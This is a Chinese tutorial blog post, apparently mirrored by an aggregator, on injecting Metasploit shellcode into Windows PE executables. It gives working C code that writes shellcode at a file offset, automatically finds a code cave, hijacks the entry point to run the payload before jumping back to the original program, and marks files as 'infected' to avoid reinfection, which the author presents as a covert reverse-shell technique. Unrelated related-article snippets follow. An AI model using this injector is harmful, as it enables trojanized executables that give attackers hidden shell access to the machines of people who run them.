2.12 PE结构:实现PE字节注入

news/2024/10/17 15:25:27/

本章笔者将介绍一种通过Metasploit生成ShellCode并将其注入到特定PE文件内的Shell注入技术。该技术能够劫持原始PE文件的入口地址,在PE程序运行之前执行ShellCode反弹,执行后挂入后台并继续运行原始程序,实现了一种隐蔽的Shell访问。而我把这种技术叫做字节注入反弹。

字节注入功能调用WritePEShellCode函数,该函数的主要作用是接受用户传入的一个文件位置,并可以将一段通过Metasploit工具生成的有效载荷注入到特定文件偏移位置处。

读者在使用该函数之前需要通过WinHex找到注入位置,我们以如下截图中的30352为例;

接着读者需要自行准备一段ShellCode代码,只保留代码部分去掉头部变量参数,如下所示;

接着我们使用如下这段代码中的WritePEShellCode函数,通过传入指定PE文件路径,指定文件便宜,以及指定的ShellCode文件路径,即可自动将其压缩为一行并在压缩后将代码写出到指定的可执行文件内。

// 将ShellCode写出到PE程序的特定位置
// 参数1: 指定PE路径 参数2: 指定文件中的偏移(十进制) 参数3: 指定ShellCode文件
void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
{HANDLE hFile = NULL;FILE* fpointer = NULL;DWORD dwNum = 0;int count = 0;char shellcode[8192] = { 0 };unsigned char save[8192] = { 0 };// 打开一段ShellCode代码并处理为一行if ((fpointer = fopen(ShellCode, "r")) != NULL){char ch = 0;for (int x = 0; (ch = fgetc(fpointer)) != EOF;){if (ch != L'\n' && ch != L'\"' && ch != L'\\' && ch != L'x' && ch != L';'){shellcode[x++] = ch;count++;}}}_fcloseall();// 将单字节合并为双字节for (int x = 0; x < count / 2; x++){unsigned int char_in_hex;if (shellcode[x] != 0){sscanf(shellcode + 2 * x, "%02X", &char_in_hex);// 每十六字节换一行输出if ((x+1) % 16 == 0){printf("0x%02X \n", char_in_hex);}else{printf("0x%02X ", char_in_hex);}save[x] = char_in_hex;}}// 打开PE文件并写出ShellCode到指定位置hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (INVALID_HANDLE_VALUE != hFile){SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);if (true == ref){printf("\n\n[*] 已注入 ShellCode 到PE文件 \n[+] 注入起始FOA => 0x%08X \n",FileOffset);}CloseHandle(hFile);}
}

我们通过传入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");参数,运行后则可将特定文本中的机器码注入到30352的位置处,读者也可以通过使用WinHex跳转到对应位置观察,如下所示;

当然了上述方法注入到PE文件中我们需要手动分析寻找空余块,并在注入成功后还需要自行修正PE文件内的入口地址等,这种方式适合于对PE结构非常熟悉的人可以,但也要花费一些精力去寻找分析,如下代码则是实现了自动化注入功能,该代码中FindSpace()函数用于从代码节的末尾开始搜索,寻找特定长度的空余位置,当找到合适的缝隙后便返回缝隙首地址。

此时dwOep变量内存储的是该程序原始的OEP入口位置,接着将入口地址赋值到*(DWORD *)&shellcode[5]也就是放入到shellcode机器码的第六个位置处,此处将变更为跳转到原始入口的指令集,接着调用memcpy函数将shellcode代码拷贝到新分配的dwAddr内存中,此处的strlen(shellcode) + 3代表的是ShellCode中剩余的\xff\xe0\x00部分,最后将当前EIP指针设置为我们自己的ShellCode所在位置,通过pNtHeader->OptionalHeader.AddressOfEntryPoint赋值设置此变量,至此这个注入器就算实现啦。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{// 跳过可选头长度的数据PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));// 获取到文件末尾的位置DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;LPVOID lp = malloc(sizeof(shellcode));memset(lp, 0, sizeof(shellcode));while (dwAddr > pSec->Misc.VirtualSize){int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));if (nRet == 0)return dwAddr;dwAddr--;}free(lp);return 0;
}int main(int argc, char* argv[])
{HANDLE hFile, hMap = NULL;LPVOID lpBase = NULL;hFile = CreateFile(L"d://lyshark.exe", GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;PIMAGE_NT_HEADERS pNtHeader = NULL;PIMAGE_SECTION_HEADER pSec = NULL;IMAGE_SECTION_HEADER imgSec = { 0 };if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){printf("[-] 文件非可执行文件 \n");return -1;}pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);// 查找空余字节DWORD dwAddr = FindSpace(lpBase, pNtHeader);printf("[*] 找到 %d 字节 | 起始地址: %X \n", sizeof(shellcode), dwAddr);// 获取到原入口地址DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;// \xb8 => 填充的就是原始程序的OEP*(DWORD *)&shellcode[5] = dwOep;printf("[-] 原始入口地址: 0x%08X \n", dwOep);// 将shellcode 拷贝到dwAddr内存空间里,拷贝长度strlen(shellcode) + 3memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;printf("[-] 拷贝内存长度: 0x%08X \n", dwAddr);// 将新的入口地址,赋值给原始程序的地址上pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);UnmapViewOfFile(lpBase);CloseHandle(hMap);CloseHandle(hFile);system("pause");return 0;
}

读者可自行编译并运行上述代码,当运行结束后会将ShellCode全局变量中的指令集,写入到lyshark.exe程序内,并修正当前程序的OEP入口处,此时读者可运行lyshark.exe程序,看是否能够正常执行起来,如下图所示;

此时读者可自行打开x64dbg调试器,观察此时的程序入口处已经变成了0x47BFF3执行到最后则通过jmp eax跳转到了原始的程序入口处继续执行,这也就是空字节注入的功能,当读者自己将nop指令替换为任意特殊的汇编指令时,也就实现了一款注入Shell版本的软件。

当我们对特定的程序插入Shell后,则还需要对该程序增加一个标志,在PE结构中有许多地方可以写入这个标志,例如DOS头部存在一个e_cblp变量,通过向该变量写入一个标志,当需要判断是否被感染时读取此处并检查是否存在特定值即可,如下代码则是一个检查实现方式。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>#define VIRUSFLAGS 0xCCCC// 向指定文件写入感染标志
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{DWORD dwNum = 0;SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);return TRUE;
}// 检查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{DWORD dwSigNum = 0;DWORD dwNum = 0;SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);if (dwSigNum == dwSig)return TRUE;return FALSE;
}int main(int argc, char* argv[])
{HANDLE hFile, hMap = NULL;LPVOID lpBase = NULL;hFile = CreateFileA("d://lyshark.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;PIMAGE_NT_HEADERS pNtHeader = NULL;PIMAGE_SECTION_HEADER pSec = NULL;IMAGE_SECTION_HEADER imgSec = { 0 };if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){printf("[-] 文件非可执行文件 \n");return -1;}pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);// 写入感染标志WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);// 返回真说明感染过if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile)){printf("[+] 文件已被感染,无法重复感染. \n");}system("pause");return 0;
}

由于e_cblp是第二个字段,所以在填充后我们打开WinHex就可以看到变化,如下图所示;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/240d333e.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!


http://www.ppmy.cn/news/1103852.html

相关文章

51单片机的智能台灯控制系统仿真( proteus仿真+程序+原理图+报告+讲解视频)

51单片机的红外光敏检测智能台灯控制系统仿真 1.主要功能&#xff1a;2.仿真3. 程序代码4. 原理图5. 设计报告6. 设计资料内容清单&&下载链接 51单片机的红外光敏检测智能台灯控制系统仿真( proteus仿真程序原理图报告讲解视频&#xff09; 仿真图proteus7.8及以上 程…

AI系统论文阅读:SmartMoE

提出稀疏架构是为了打破具有密集架构的DNN模型中模型大小和计算成本之间的连贯关系的——最著名的MoE。 MoE模型将传统训练模型中的layer换成了多个expert sub-networks&#xff0c;对每个输入&#xff0c;都有一层special gating network 来将其分配到最适合它的expert中&…

celery的用法--bind=True

通过将 bindTrue 设置为 app.task 装饰器的参数&#xff0c;Celery 会自动将任务实例绑定到第一个参数&#xff08;通常命名为 self&#xff09;&#xff0c;使得你可以在任务函数内部访问任务实例的属性和方法。 在 Celery 的任务函数中&#xff0c;self 参数代表任务实例本身…

Mysql树形表的两种查询方案(递归与自连接)

你有没有遇到过这样一种情况&#xff1a; 一张表就实现了一对多的关系&#xff0c;并且表中每一行数据都存在“爷爷-父亲-儿子-…”的联系&#xff0c;这也就是所谓的树形结构 对于这样的表很显然想要通过查询来实现价值绝对是不能只靠select * from table 来实现的&#xff0…

Java——》synchronized的使用

推荐链接&#xff1a; 总结——》【Java】 总结——》【Mysql】 总结——》【Redis】 总结——》【Kafka】 总结——》【Spring】 总结——》【SpringBoot】 总结——》【MyBatis、MyBatis-Plus】 总结——》【Linux】 总结——》【MongoD…

1分钟了解音频、语音数据和自然语言处理的关系

机器学习在日常场景中的应用 音频、语音数据和自然语言处理这三者正在不断促进人工智能技术的发展&#xff0c;人机交互也逐渐渗透进生活的每个角落。在各行各业包括零售业、银行、食品配送服务商&#xff09;的多样互动中&#xff0c;我们都能通过与某种形式的AI&#xff08;…

springboot整合log4j

1.log4j文件 <?xml version"1.0" encoding"UTF-8"?> <!--monitorInterval&#xff1a;Log4j2 自动检测修改配置文件和重新配置本身&#xff0c;设置间隔秒数--> <configuration monitorInterval"5"><!--日志级别以及优先…

CloudQuery X PolarDB:让数据库管理更简单

前言&#xff1a;8 月 15 日&#xff0c;CloudQuery 数据操作管控平台与阿里云 PolarDB 数据库管理软件&#xff0c;完成产品集成认证测试。也在以下功能上完善了用户使用 PolarDB 的体验&#xff0c;使数据库的管理更加安全高效。 支持在 CloudQuery 中创建连接&#xff0c;便…